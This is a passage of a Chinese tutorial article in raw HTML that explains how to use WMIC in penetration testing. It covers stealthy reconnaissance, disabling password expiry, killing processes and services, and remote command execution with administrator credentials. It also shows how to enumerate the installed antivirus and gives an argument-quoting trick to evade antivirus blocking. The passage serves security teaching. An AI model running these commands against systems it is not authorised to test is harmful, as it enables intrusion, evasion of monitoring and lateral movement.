avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">WMIC</span><br/></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">了解WMI基础的一些知识后，我们来认识一下热门的WMIC。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具） ，提供了从命令行接口和批命令脚本执行系统管理的支持，wmic就是wmic.exe，位于windows目录底下，是一个命令行程序。WMIC可以以两种模式执行：交互模式(Interactive mode)和非交互模式</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">使用WMIC，你不但可以管理本地计算机，而且可以管理同一Windows域内的所有远程计算机(需要必要的权限)，而被管理的远程计算机不必事先安装WMIC，只需要支持WMI即可。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">具体实现就是这个wmic.exe ,他位于windows目录底下，是一个命令行程序。</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">C:\Windows\System32\wbem\WMIC.EXE</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3832658569500675" data-s="300,640" style="" data-type="png" data-w="741" src="https://wechat2rss.xlab.app/img-proxy/?k=4aec7355&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFd8m3lHCF0icHFmu9JmSWSakNiajHiaGLLDdeHhVOMiatDOQMv1jWHBsh2w%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">利用WMIC进行信息收集</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我们完全可以用cmd下来进行信息收集，例如查当前用户，机器在不在域内等等，为什么多此一举用WMI呢？</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">因为我们可能会遇到态势感知这个东西，我们在对方机器如果执行一些net user的操作，这段语句总要在网络中进行传输，如果这段语句被严格监控，那么只要触发他就可能会被报“您已经被攻击”。WMI它有好处的话就是他可以改变格式，可以加一些过滤信息，攻击者使用wmi来进行攻击，但 Windows 系统默认不会在日志中记录这些操作，可以做到无日志，攻击脚本无需写入到磁盘，增加了隐蔽性。</span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">渗透中wmic一些常用命令</span><span style="box-sizing: border-box;"></span><br/><span style="box-sizing: border-box;"></span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic useraccount WHERE &#34;Name=&#39;%username%&#39;&#34; set PasswordExpires=false<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//设置用户永不超期</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic startup list brief<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;"> </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic获取自启信息</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic volume list brief<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic获取磁盘分区信息</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic useraccount list full<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic获取用户信息</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic service list full<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic获取服务信息</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic SERVICE where name=&#34;dhcp&#34; call stopservice<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;"> </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic关闭服务</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic DESKTOPMONITOR get ScreenHeight,ScreenWidth<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic获取屏幕分辨率</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic process where processid=&#34;3652&#34; delete<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic关闭进程</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic process 2345 call terminate<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic关闭进程</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic process where name=&#34;qq.exe&#34; call terminate<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;"> </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic关闭进程</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic qfe get Caption,Description,HotFixID,InstalledOn<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;"> </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//wmic获取补丁安装时间</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic process where name=&#34;ConsoleApplication.exe&#34; get ExecutablePath<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;"> </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//查看进程的位置</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">wmic.exe /node:ip /user:localhost\administrator /password:&#34;password&#34; PROCESS call create &#34;cmd /c whoami&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>type \\19\c$\Windows\res.dll<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//远程命令执行</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>wmic qfe get hotfixid<span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;"> </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span role="presentation" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span>//查看补丁情况</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">例如，枚举出目标系统安装的反病毒产品信息，包括安装位置和版本：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2519201228878648" data-s="300,640" style="" data-type="png" data-w="651" src="https://wechat2rss.xlab.app/img-proxy/?k=4afe36f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFsdD3KvCnjOVXOicKXRY6BXD0pLF1e9DADyVpuUcDUDN2j1x7F7VRAibg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">当然碰到某些杀软告警时候，可以进行一些简单参数欺骗来实现小小的bypass，思路颇多。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">wmic process call create calc  简单弹个计算器被拦</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4481012658227848" data-s="300,640" style="" data-type="png" data-w="1185" src="https://wechat2rss.xlab.app/img-proxy/?k=9085055e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFQoR1W3fZ87GfJGPvh3R9DianjJib9mXoMkxYx6yJdhec8fZdCkoCXOew%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">wmic process call &#34;create&#34; &#34;calc&#34; 简单的参数欺骗后便弹出来了</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4458874458874459" data-s="300,640" style="" data-type="png" data-w="924" src="https://wechat2rss.xlab.app/img-proxy/?k=f20e4e62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFdvceic2Qh7MGuVHhN0c0dKxlyv4TAHTKWFREugSLS4Bib69mYB2fibgQA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">横向移动</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">使用WMIC连接远程主机需要具备条件：</span><br/></p><ol class="list-paddingleft-2" style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: 